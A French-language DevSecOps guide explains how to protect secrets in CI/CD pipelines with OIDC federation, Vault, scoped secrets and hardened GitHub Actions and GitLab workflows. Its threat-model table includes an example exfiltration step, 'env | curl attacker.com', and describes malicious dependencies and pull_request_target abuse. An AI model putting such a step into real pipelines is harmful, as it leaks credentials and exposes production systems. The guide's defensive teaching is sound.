Aller au contenu
Sécurité medium

Sécuriser les secrets dans vos pipelines CI/CD

24 min de lecture

Un pipeline CI/CD concentre souvent tous les accès critiques : cloud, registry, bases de données, clés de signature. Compromettre un pipeline, c’est compromettre la production. Ce guide explique comment protéger ces secrets, migrer vers des accès temporaires fondés sur l’identité du job, et durcir vos workflows face aux vecteurs d’attaque réels.

  • Le modèle de menace spécifique aux pipelines CI/CD
  • Comment configurer les secrets dans GitHub Actions et GitLab CI
  • L’approche OIDC pour éliminer les secrets longue durée
  • L’intégration avec HashiCorp Vault
  • Les pièges courants, le durcissement des workflows et le dépannage
  • Quand OIDC ne suffit pas et comment gérer ce cas

Un pipeline de déploiement a typiquement accès au cluster Kubernetes de production, aux credentials cloud (AWS, GCP, Azure), au registry d’images, aux bases de données pour les migrations et aux clés de signature pour les artefacts. Compromettre le pipeline = compromettre la production.

La pratique encore courante :

# ❌ Token AWS stocké dans les secrets du dépôt
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

Ce token existe souvent depuis des mois, reste utilisable jusqu’à révocation manuelle en cas de compromission, et bénéficie de permissions trop larges “par facilité”.

Avant de protéger vos secrets, il faut comprendre comment un attaquant les exfiltre. Les pipelines CI/CD présentent des vecteurs d’attaque spécifiques que les protections classiques ne couvrent pas toujours.

Vecteur d’attaqueScénarioImpact
Workflow / job modifiéUn contributeur modifie un workflow pour exécuter env | curl attacker.com dans un stepExfiltration de tous les secrets injectés dans le job
Dépendance malveillanteUn package npm/pip compromis lit process.env ou os.environ et exfiltre les variablesVol silencieux des tokens, difficile à détecter
Action GitHub / image Docker compromiseUne GitHub Action tierce ou une image Docker utilisée dans le pipeline contient du code malveillantAccès aux secrets du job, à GITHUB_TOKEN, au filesystem
Runner compromis ou mal isoléUn runner self-hosted partagé entre projets, sans isolationUn job malveillant accède aux secrets d’un autre projet via /tmp, le disque, ou les process
Fork + pull_request_targetUn fork soumet une PR qui modifie le workflow et s’exécute avec les secrets du repo cibleExfiltration des secrets de production via une simple PR
Cache / artefact contaminéUn secret finit dans le cache npm, le state Terraform, ou un artefact uploadéPersistance du secret au-delà du job, accessible aux collaborateurs

Les logs et artefacts ne sont pas les seuls endroits où un secret peut fuir :

  • Variables exportées dans des steps intermédiaires ($GITHUB_ENV, export)
  • Fichiers de configuration générés : .npmrc, .pypirc, docker/config.json
  • State Terraform contenant des outputs sensibles en clair
  • Rapports de tests qui incluent des variables d’environnement dans les stack traces
  • Fichiers intermédiaires écrits dans /tmp ou le workspace

GitHub Actions propose trois niveaux de secrets avec des portées différentes. Choisir le bon niveau évite de sur-exposer un secret à des workflows qui n’en ont pas besoin.

NiveauAccèsUsage
Repository secretsCe dépôt uniquementSecrets spécifiques à un projet
Environment secretsUn environnement (prod, staging)Avec protection et approbation
Organization secretsTous les dépôts de l’orgSecrets partagés (registry)

Configuration d’un environnement protégé :

  1. Settings → Environments → New environment
  2. Nom : production
  3. Protection rules :
    • Required reviewers (approbation obligatoire)
    • Wait timer (délai avant déploiement)
    • Deployment branches (branches autorisées uniquement)

Utilisation dans le workflow :

jobs:
deploy:
runs-on: ubuntu-latest
environment: production # Secrets de prod + protections activées
steps:
- name: Deploy
env:
DB_PASSWORD: ${{ secrets.DB_PASSWORD }}
run: ./deploy.sh

GitLab CI distingue plusieurs types de variables avec des comportements de sécurité différents. Le masquage empêche l’affichage dans les logs, et la protection restreint l’accès aux branches protégées.

TypeComportement
VariableVisible dans les logs (éviter pour secrets)
MaskedRemplacé par [MASKED] dans les logs
ProtectedDisponible uniquement sur branches protégées
FileÉcrit dans un fichier temporaire

Configuration recommandée :

# Settings → CI/CD → Variables
# Type: Variable
# Flags: Protected, Masked
# Environments: production
deploy:
stage: deploy
script:
- echo "Deploying with $DB_PASSWORD" # Affiché comme [MASKED]
rules:
- if: $CI_COMMIT_BRANCH == "main"
environment:
name: production

OIDC (OpenID Connect) permet au pipeline de s’authentifier auprès d’un service cible sans stocker de secret. Le principe repose sur une fédération d’identité :

  1. Le workflow demande un token OIDC

    GitHub/GitLab génère un token JWT signé qui contient des claims identifiant précisément le workflow : repository, branche, environnement, workflow name.

  2. Le workflow présente ce token au service cible

    Le service (AWS STS, GCP, Vault) vérifie la signature du JWT, valide les claims et consulte la politique de confiance (trust policy) configurée.

  3. Le service cible délivre (ou refuse) des credentials temporaires

    Le service vérifie que le token OIDC, ses claims et la trust policy correspondent. Si tout est conforme, il émet des credentials temporaires (15 minutes par défaut). Sinon, l’accès est refusé.

Flux OIDC : le pipeline CI/CD obtient des credentials temporaires via un token signé

Le token OIDC émis par GitHub ou GitLab contient des claims qui identifient précisément le contexte d’exécution. C’est sur ces claims que vous construisez vos règles de confiance côté cloud ou Vault.

Claims GitHub Actions :

ClaimContenuUsage dans la trust policy
subrepo:org/repo:ref:refs/heads/mainLimiter par repo + branche
audsts.amazonaws.comVérifier l’audience cible
repositoryorg/repoFiltrer par dépôt
environmentproductionLimiter à un environnement
refrefs/heads/mainLimiter par branche
workflowdeploy.ymlLimiter à un workflow précis

Claims GitLab CI :

ClaimContenuUsage dans la trust policy
subproject_path:group/project:ref_type:branch:ref:mainLimiter par projet + branche
audAudience configurée dans id_tokensVérifier la cible
namespace_pathgroupFiltrer par groupe
project_pathgroup/projectFiltrer par projet
refmainLimiter par branche
environmentproductionLimiter à un environnement

Configuration AWS :

# 1. Créer l'identity provider OIDC
resource "aws_iam_openid_connect_provider" "github" {
url = "https://token.actions.githubusercontent.com"
client_id_list = ["sts.amazonaws.com"]
# Thumbprint : valeur d'exemple. Vérifiez la valeur actuelle dans
# la documentation AWS au moment de l'implémentation.
thumbprint_list = ["6938fd4d98bab03faadb97b34396831e3780aea1"]
}
# 2. Créer le rôle avec trust policy STRICTE
resource "aws_iam_role" "github_actions" {
name = "github-actions-deploy"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Principal = {
Federated = aws_iam_openid_connect_provider.github.arn
}
Action = "sts:AssumeRoleWithWebIdentity"
Condition = {
StringEquals = {
# Audience : vérifier que le token cible bien AWS
"token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
# Limiter à un repo + branche + environnement précis
"token.actions.githubusercontent.com:sub" = "repo:myorg/myrepo:environment:production"
}
}
}]
})
}

Workflow GitHub Actions :

name: Deploy
on:
push:
branches: [main]
# Permissions minimales au niveau du workflow
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
# Permissions au niveau du job uniquement
permissions:
id-token: write # Obligatoire pour OIDC
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false # Pas besoin de pousser
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions-deploy
aws-region: eu-west-1
# Pas de AWS_ACCESS_KEY_ID ni AWS_SECRET_ACCESS_KEY !
- run: aws s3 cp ./dist s3://my-bucket/

Avantages :

  • Aucun secret stocké dans le dépôt
  • Credentials valides 15 minutes par défaut
  • Permissions restreintes au rôle IAM
  • Audit trail complet dans CloudTrail

GitHub Actions + GCP (Workload Identity Federation)

Section intitulée « GitHub Actions + GCP (Workload Identity Federation) »

Sur GCP, la fédération peut être directe (le principal fédéré accède directement aux ressources) ou passer par l’impersonation d’un service account, selon le modèle d’accès choisi. L’impersonation est plus courante car elle permet de réutiliser les permissions IAM existantes.

La configuration côté GCP nécessite :

  1. Un Workload Identity Pool qui regroupe les identités externes
  2. Un Provider dans ce pool qui configure les claims GitHub/GitLab
  3. Un mapping d’attributs qui lie les claims OIDC aux attributs GCP
  4. Un binding IAM entre le principal et un service account (si impersonation)
name: Deploy GCP
on:
push:
branches: [main]
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
# Authentification via Workload Identity Federation
- uses: google-github-actions/auth@v2
with:
workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
service_account: deploy@myproject.iam.gserviceaccount.com
- uses: google-github-actions/setup-gcloud@v2
- run: gcloud run deploy my-service --image gcr.io/myproject/app

GitLab utilise les id_tokens (et non les anciens CI_JOB_JWT dépréciés) pour l’authentification OIDC.

resource "aws_iam_openid_connect_provider" "gitlab" {
url = "https://gitlab.com"
client_id_list = ["https://gitlab.com"]
# Thumbprint : valeur d'exemple. Vérifiez la valeur actuelle
# dans la documentation AWS.
thumbprint_list = ["b3dd7606d2b5a8b4a13771dbecc9ee1cecafa38a"]
}
deploy:
stage: deploy
image: amazon/aws-cli:latest
id_tokens:
AWS_TOKEN:
aud: https://gitlab.com
script:
- >
export $(printf "AWS_ACCESS_KEY_ID=%s AWS_SECRET_ACCESS_KEY=%s AWS_SESSION_TOKEN=%s"
$(aws sts assume-role-with-web-identity
--role-arn arn:aws:iam::123456789:role/gitlab-deploy
--role-session-name gitlab-ci-$CI_PIPELINE_ID
--web-identity-token $AWS_TOKEN
--duration-seconds 900
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]'
--output text))
- aws s3 cp ./dist s3://my-bucket/
environment:
name: production

Quelques spécificités GitLab à connaître :

  • id_tokens vs CI_JOB_JWT : id_tokens est la méthode actuelle. Les anciens CI_JOB_JWT sont dépréciés et ne doivent plus être utilisés.
  • Filtrage des claims côté AWS/Vault : utilisez les claims project_path, ref, namespace_path et environment dans vos trust policies pour restreindre l’accès.
  • GitLab.com vs self-managed : sur une instance self-managed, l’URL de l’issuer OIDC est celle de votre instance (https://gitlab.example.com). La configuration du provider cloud doit pointer vers cette URL.
  • Intégration Vault native : GitLab propose une intégration directe avec HashiCorp Vault via id_tokens, sans avoir besoin de passer par un script shell.

OIDC ne sert pas qu’à accéder au cloud. Un cas d’usage majeur est la récupération de secrets depuis HashiCorp Vault sans stocker de credentials dans le CI.

Configuration Vault :

Fenêtre de terminal
# 1. Activer l'auth method JWT
vault auth enable jwt
# 2. Configurer le provider GitHub OIDC
vault write auth/jwt/config \
bound_issuer="https://token.actions.githubusercontent.com" \
oidc_discovery_url="https://token.actions.githubusercontent.com"
# 3. Créer un rôle avec trust policy
vault write auth/jwt/role/github-deploy \
bound_audiences="https://github.com/myorg" \
bound_claims_type="glob" \
bound_claims='{"sub": "repo:myorg/myrepo:ref:refs/heads/main"}' \
user_claim="repository_owner" \
role_type="jwt" \
policies="deploy-policy" \
token_ttl="10m"

Workflow GitHub Actions :

name: Deploy with Vault
on:
push:
branches: [main]
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: hashicorp/vault-action@v3
with:
url: https://vault.example.com
method: jwt
role: github-deploy
jwtGithubAudience: https://github.com/myorg
secrets: |
secret/data/deploy db_password | DB_PASSWORD ;
secret/data/deploy api_key | API_KEY
- run: ./deploy.sh
env:
DB_PASSWORD: ${{ steps.vault.outputs.DB_PASSWORD }}

GitLab propose une intégration native avec Vault via id_tokens :

deploy:
stage: deploy
id_tokens:
VAULT_ID_TOKEN:
aud: https://vault.example.com
secrets:
DB_PASSWORD:
vault: deploy/db_password@secret
token: $VAULT_ID_TOKEN
script:
- echo "Password is masked: $DB_PASSWORD"
environment:
name: production

La syntaxe secrets: de GitLab récupère directement les secrets depuis Vault et les injecte comme variables masquées. Aucun script shell nécessaire.

Ordre de préférence pour la gestion des secrets CI/CD

Section intitulée « Ordre de préférence pour la gestion des secrets CI/CD »

Comment choisir entre les approches — du plus sûr au moins sûr :

PrioritéMéthodeQuand l’utiliser
1OIDC / fédération d’identitéCloud (AWS, GCP, Azure), Vault, tout service compatible JWT
2Secret dynamique via VaultBase de données, credentials à courte durée de vie
3Secret statique protégé dans le CIAPI tierce à clé fixe, service legacy non fédérable
4Secret dans le code ou le dépôtJamais

OIDC couvre les clouds majeurs et Vault, mais certains cas imposent encore un secret stocké :

CasPourquoi OIDC ne marche pasSolution
API SaaS à clé fixeLe fournisseur n’implémente pas OIDC/JWTSecret statique dans un environment protégé, rotation planifiée
Système legacy on-premPas de trust federation prêtePasser par Vault comme intermédiaire (le CI obtient le secret depuis Vault via OIDC)
Outil sans support OIDCClient CLI ou SDK non compatibleSecret court avec scoping strict (un secret par usage)
Infra sans accès réseauLe pipeline ne peut pas atteindre le provider OIDCSecret statique avec rotation automatisée

Dans ces cas, gérez le secret statique au mieux :

  • Un secret par usage : pas de “master key” partagée entre jobs
  • Rotation planifiée : tous les 90 jours minimum
  • Environment protégé : available on protected branches only
  • Durée de vie courte si possible

Ne déclarez aucune permission au niveau du workflow et ajoutez uniquement ce qui est nécessaire au niveau de chaque job :

# ✅ Permissions nulles par défaut
permissions: {}
jobs:
build:
permissions:
contents: read # Checkout uniquement
# ...
deploy:
permissions:
id-token: write # OIDC
contents: read
# ...

Un job qui n’a besoin que de lire le code ne doit pas hériter d’un id-token: write global.

Les tags (@v4) sont mutables : un mainteneur compromis peut republier un tag avec du code malveillant. Pinnez par SHA de commit :

# ❌ Tag mutable
- uses: actions/checkout@v4
# ✅ SHA immutable (v4.2.2)
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

Par défaut, actions/checkout persiste un token Git dans le workspace. Si votre job n’a pas besoin de pousser dans le dépôt, désactivez-le :

- uses: actions/checkout@v4
with:
persist-credentials: false

Si vous utilisez des runners self-hosted :

  • Un runner par niveau de confiance : ne mélangez pas les jobs de build (code non vérifié) et de deploy (accès prod)
  • Runners éphémères : détruisez le runner après chaque job pour éviter la persistance de secrets sur le disque
  • Pas de partage de workspace entre projets
# ❌ Le secret peut apparaître dans les logs
- run: echo "Connecting with $DB_PASSWORD"

Solution : utiliser ::add-mask:: ou configurer le secret comme “masked”.

# ✅ Masquer explicitement
- run: |
echo "::add-mask::${{ secrets.DB_PASSWORD }}"
./connect.sh

Piège 2 : exécution du code d’un fork avec les secrets du repo

Section intitulée « Piège 2 : exécution du code d’un fork avec les secrets du repo »

Par défaut, les secrets ne sont pas transmis aux workflows des forks. Le danger survient avec pull_request_target quand le workflow exécute du code issu de la PR tout en bénéficiant des secrets du repo cible.

# ⚠️ Dangereux si le workflow checkout le code de la PR
on: pull_request_target
# ✅ Plus sûr : exécute le code du repo cible, pas de secrets exposés aux forks
on: pull_request

pull_request_target n’est pas dangereux en soi, mais il le devient si le workflow fait un checkout du head de la PR (github.event.pull_request.head.ref) puis exécute ce code dans un contexte qui a accès aux secrets.

# ❌ Token admin avec tous les droits
env:
GITHUB_TOKEN: ${{ secrets.ADMIN_PAT }}

Solution : utiliser le GITHUB_TOKEN automatique avec permissions minimales.

permissions:
contents: read
packages: write # Seulement ce qui est nécessaire
# ❌ Le fichier .env ou docker/config.json est uploadé
- uses: actions/upload-artifact@v4
with:
name: build
path: ./dist/

Solution : exclure explicitement les fichiers sensibles.

- uses: actions/upload-artifact@v4
with:
name: build
path: |
./dist/
!./dist/.env
!./dist/**/*.key
!./dist/docker/config.json

Même logique pour le cache : ne jamais cacher ~/.docker, ~/.aws, ou un répertoire contenant des .npmrc avec tokens.

  1. Inventaire des secrets CI/CD

    Listez tous les tokens longue durée stockés dans vos dépôts et environnements CI.

  2. Prioriser par criticité

    Commencez par les credentials cloud (AWS, GCP, Azure), puis les accès Vault.

  3. Configurer l’identity provider

    Créez le provider OIDC côté cloud ou Vault. Vérifiez les thumbprints dans la documentation officielle du moment.

  4. Créer les rôles avec trust policy stricte

    Limitez systématiquement par repo, branche, et environnement. Évitez les wildcards.

  5. Migrer les workflows

    Remplacez les secrets par l’authentification OIDC. Ajoutez permissions: {} au niveau workflow, les permissions minimales au niveau job.

  6. Supprimer et révoquer les anciens secrets

    Révoquez les access keys devenues inutiles. Ne les laissez pas en parallèle.

SymptômeCause probableSolution
Not authorized to perform sts:AssumeRoleWithWebIdentityTrust policy trop restrictive ou claim sub incorrectComparer le sub du JWT avec la condition dans la trust policy. Activer CloudTrail pour voir le claim reçu
Error: No subject claim foundpermissions: id-token: write manquantAjouter la permission au niveau du job
Audience in token does not matchAudience (aud) configurée différente de celle attendueVérifier client_id_list côté AWS et aud dans le workflow GitLab
Unable to verify thumbprintThumbprint AWS obsolète ou incorrectRecalculer avec openssl ou consulter la doc AWS. Pour GitHub, AWS gère maintenant la vérification via la bibliothèque de certificats
The requested scope is invalid (GCP)Mapping d’attributs incorrect dans le Workload Identity PoolVérifier le mapping attribute.repository / assertion.repository dans le provider
Vault login failedRôle JWT mal configuré ou bound_claims incorrectVérifier les claims avec vault write auth/jwt/login role=... jwt=$TOKEN en debug
Secret affiché [MASKED] mais tronquéGitLab ne masque que les valeurs ≥ 8 caractèresUtiliser un secret suffisamment long
  • Les pipelines sont des cibles privilégiées — ils concentrent les accès à la production, au cloud et aux registries.
  • OIDC est une fédération d’identité, pas une permission directe — c’est la trust policy côté serveur qui décide des accès accordés.
  • Restreignez les claims dans vos trust policies : repo, branche, environnement. Évitez les wildcards larges.
  • Vault complète OIDC pour les secrets applicatifs (mots de passe, clés API) qui ne relèvent pas du cloud.
  • Tout secret doit être masqué — dans les logs, artefacts, caches, mais aussi les fichiers de configuration générés.
  • Quand OIDC n’est pas possible, gérez le secret statique avec rotation, scoping et environment protégé.
  • Durcissez les workflows : permissions {} par défaut, pinning SHA, persist-credentials: false, runners isolés.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn